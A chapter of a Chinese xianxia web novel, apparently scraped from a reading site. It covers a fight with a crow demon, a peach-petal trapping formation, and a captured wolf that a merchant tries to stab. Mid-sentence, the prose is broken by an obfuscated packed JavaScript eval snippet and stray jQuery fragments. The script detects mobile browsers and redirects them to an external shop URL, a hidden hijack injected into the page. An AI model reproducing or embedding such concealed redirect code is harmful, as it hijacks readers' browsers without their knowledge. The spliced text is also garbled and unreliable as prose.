15. 狼心4

作品:《道长你压到我尾巴了

    她抄起流芳剑,纵身便朝那黑影狠刺过去。徐明生紧随其后,转瞬也加入了缠斗。


    两人围击一人,本就占尽上风。可李胜昔没料到,这黑影即便正面相对,脸上也裹着层浓黑雾气,叫人半分面容都瞧不清。


    她心头火气腾地窜起,冷声道:“我倒要看看什么东西,连脸都不敢露!”


    说着,她的剑便直直朝着黑雾扎去,剑锋凌厉,带着破风的锐响。


    黑影顿时慌乱起来,连连躲闪。可这慌乱恰恰给了徐明生机会,他趁势挺剑,一下刺穿了黑影的左肩。


    只听黑影闷哼一声,李胜昔正要再刺,那黑影却捂着伤肩,化作一阵黑风直窜天际而去。


    她拎着剑,惊得抬头去看,那黑风却瞬间没了踪影。


    徐明生望着天边消散的黑气,懊恼地皱起眉:“竟叫他跑了。”


    李胜昔没理会他,低头看向地面。地上除了黑影留下的血迹,还散落着几根黑色的羽毛。


    她拾起其中一根,指尖捻着端详片刻,嗤笑出声:“原来是只黑乌鸦。”


    这时,清野端着茶壶快步走来。方才他去寻陈府下人取茶叶,耽搁了些时间。远远瞥见地上那摊刺目的血迹,他脸色骤变,几步抢上前:“姑娘,发生了何事?”


    “没事,不过撞上只乌鸦妖罢了。”她将羽毛递到清野手中,抬眼对两人道,“走,去找陈老板。”


    正厅里,陈老板正凝神听着他们的来意。


    李胜昔开口便道:“陈老板,那黑影并非狼妖。”


    “不是狼妖?”陈家宝显然一惊,语气里满是不信,“你们莫不是看错了?那肯定是狼妖。”


    李胜昔微微一笑,把清野手中的羽毛递给他:“这是刚刚打斗时,从那黑影身上掉落的,您可以看看,分明是只黑乌鸦。”


    陈家宝瞥见那根羽毛,瞳孔骤然一缩,声音都有些发紧:“啊……那看来……看来确实是乌鸦妖了。”


    李胜昔捕捉到他异样的反应,眯起眼追问:“陈老板同这乌鸦妖,可是有旧缘?”


    “没有没有!我跟这乌鸦素无过节,也不知它闯我府邸做什么。不过……您当真没撞见过狼妖?”


    李胜昔看着他的眼睛,忽然笑了,反问道:“陈老板就这么笃定是狼妖所为?”


    陈家宝愣了愣,干笑两声:“我……我也是猜的,毕竟狼这种畜生,最是记仇。”


    李胜昔并未相信他的解释,看向陈家宝的眼神里满是质疑,直看得他有些胆寒。


    不过她很快敛了神色笑起来:“陈老板,我今夜就会在贵府上设下阵法,到时候是乌鸦还是狼,一看便知。”


    “好好好!”陈家宝忙不迭点头应下。


    李胜昔打量着他,打从进门起,她就觉得少了点什么,此刻终于反应过来,开口询问:“陈老板,黑管家去哪儿了?”


    “黑泽他……他还有别的事情要处理,我让他先去了。”


    李胜昔点点头,心中的怀疑并未散去,却还是转向身后的徐明生和清野:“那我们先回去准备吧。”


    两人应声,跟着她一同回了院中。


    徐明生想起方才李胜昔在厅前说要设阵法,心里满是好奇,便凑到清野身边低声问:“什么阵法?”


    清野望了望前头李胜昔的背影,轻轻摇头:“我也不知道,山主鲜少用阵法捉妖。”


    李胜昔没理会两人的低语,此刻要办正事,神色已然沉肃下来。


    她在院中寻了块平整空地,于中央站定,抬眼环视一周。瞧见院落四角都种着桃树时,她唇角微微扬起,指尖在流芳剑的剑刃上轻轻一抹。几滴殷红的鲜血顺着剑尖滑落,“滴答”“滴答”地砸在青石板上。


    忽然,沾了血的流芳剑像是陡然醒了灵智,竟悬空而立,静静停在她面前。


    李胜昔朗声道:“落瓣为界,画地为牢,执念于陈家之妖,皆缚之!”


    流芳剑轻颤两下,似是应答。随即它扶摇直上,绕着院里的桃树疾速飞舞起来,转瞬便卷起一阵纷纷扬扬的花瓣风。


    那些粉白的桃花瓣追随着剑身,顺着它的轨迹簌簌飘落,在地上铺出纹路。


    不过片刻功夫,院中那片空地之上,便浮现出一个看似杂乱无章、实则暗藏章法的花瓣大阵。


    徐明生在身后看得彻底怔住了。他在长生宫苦修剑法多年,也算门派里的拔尖人物,却始终只把剑当作趁手的兵器。


    师父曾说,练剑的最高境界是养出剑灵,他从前参不透,也从未见过旁人做到,没承想今日竟亲眼得见这般神迹!他心头激荡,久久难以平复。


    阵法一成,流芳剑轻轻震颤着,自动归了鞘。


    李胜昔取来一只铜铃,搁在大阵的东北角,转头对两人道:“今夜咱们轮流守夜,铃铛一响,便是有妖入阵了。”


    两人立时敛了神色,神情愈发郑重。


    清野留下先值守,李胜昔便与徐明生一道往客房走。


    月光洒落,两人并肩而行,影子被拉得长长的。李胜昔忽然想起白日里约他散步被拒的事,忍不住低笑出声——眼下这般月夜同行,可不就是换了种方式的散步?


    这笑声惊动了身旁的徐明生,他微怔着侧头问:“昔姑娘在笑什么?”


    李胜昔弯了弯眼,歪头打趣:“怎么不叫我师姐了?”


    徐明生身子一僵,一时竟不知如何接话,只好默默闭了嘴。


    “算了,不为难你。”她摆了摆手,笑意浅浅,“就是想起点儿好玩的事。”


    徐明生轻轻点头,没再作声。


    李胜昔话锋一转,又道:“你应该很想学我刚才那阵法吧?”


    徐明生颇有些惊讶:“难道我刚才表现得很明显?”


    “哪有。”她笑着摇头,“你方才还是一脸冷淡,是我这段时间摸清了你的性子,猜出来的。”


    “听清野说,你是长生宫最有天赋的弟子。但我瞧着,你该也是最肯下苦功的那个。日日练剑苦修的道士,哪会不对这般厉害的捉妖阵法动心?”


    徐明生静静听着,没有否认。他的确是门派里最刻苦的弟子,毕竟他心里清楚,只有把天赋逼到极致,才有可能撑起长生宫的将来。


    李胜昔又道:“你要不要猜一猜,我的流芳剑是怎么来的?”


    徐明生脑中飞快闪过“师门赠送”“亲手铸炼”之类的可能,却又觉得都不太像。


    李胜昔笑着回忆道:“我是在一处上古剑冢中得到它的。那剑冢里堆了上百柄古剑,流芳剑是其中最拔尖的一柄。当时不少修道者都盯着它,人修的领头人说,这绝世宝剑理应献给贵族世家珍藏;妖修那边则说,该送予妖界权重的长老。两派人马吵得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093102|195526||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不可开交。”


    “我瞧着他们吵得热闹,便插了句‘我想要’。可那会儿我地位低下,一无所有。”


    徐明生着实吃了一惊,转念一想,却又觉得这事,还真像是她能做出来的。


    李胜昔接着道:“那些傲慢的修士只瞥了我一眼,嗤笑道:‘哪来的野狐狸,还是个母的,承不住这么贵重的剑。’”


    徐明生皱了皱眉。修士界向来重男轻女,世家大族更是受人尊崇,这话虽难听,却也是实情。


    “我当时就回怼:‘你是个公的,却连畜生都不如,就能承得住了?’”


    徐明生嘴角一抽,果然是她的作风,忍不住追问:“之后呢?”


    李胜昔眉眼弯弯,满脸愉悦:“说完这话,我便把在场的男修士全都打得倒地呻吟,动弹不得。然后当着所有人的面,我拔出了流芳剑,将它带走了。这些年,它陪着我斩妖除恶,不知历经多少厮杀,渐渐生出了灵气,与我心意相通,成了最好的伙伴。”


    说到这儿,李胜昔忽然停下脚步,定定看向徐明生:“我想告诉你,别急。等你和你的剑一同历经足够多的生死关头,磨合到骨子里,自然能养出剑灵。唯有生了灵的剑,才能化出这般强的阵法。”


    徐明生被她这番话撞得心头微动,更有些意外。他没料到李胜昔竟会把这般秘诀毫无保留地说给自己听,忍不住问:“这……你就不怕这些心得传出去?”


    李胜昔莞尔一笑,语气坦荡又自信:“怕?我怕什么?强者从不会忌惮别人的进步。”


    四目相对的瞬间,晚风轻拂,空气里忽然漫开几分莫名相投的气息。


    “叮铃铃——”尖锐又急促的铃铛声骤然划破夜色。两人脸色一凛,脚步同时调转方向,朝着阵法的方向快步奔去。


    李胜昔着实有些意外,这妖物竟来得这般快,这么快就入了局。


    可等他们赶到时,清野已经将那妖捆得结结实实。李胜昔走上前,语气里带着几分讶异:“这么快?”


    清野点了点头,话语里却透着几分迟疑:“不过有点奇怪……这妖非但没有半分反抗,我甚至没察觉到一丝凶戾的妖气,反而……还挺温和的。”


    李胜昔绕过清野,看向他身后被捆得严严实实的妖物,语气里满是意外:“居然真的是只狼?”


    “没错。”清野应声。


    “三位道长,可是捉住那妖了?”陈家宝的声音伴着急促的脚步声传来,他正小跑着从远处奔来。


    待凑近看清地上被绑紧的狼,他脸上瞬间绽开狂喜之色:“太好了!终于抓住了!多谢三位道长!”


    话音落下,他便难掩兴奋地往前凑去。


    李胜昔瞧着他这般急切的模样,开口问道:“陈老板要不要了解下具体情况?”


    陈家宝此刻炙热的目光,早已死死黏在了狼妖身上,连头都没回一下:“不用!就是这畜生!我记得它!”


    徐明生皱起眉头,刚想开口喊住他:“陈老板……”


    “呵,受死吧!畜生!”


    就在三人稍稍放松警惕的瞬间,陈家宝突然从怀里掏出一把匕首,双手高高举起,猝不及防便朝着狼妖的心口狠狠扎去。


    “啊啊啊啊——”


    一阵凄厉至极的女声,猛地从狼妖身上炸开,在场众人皆是瞳孔骤缩,面露震惊之色。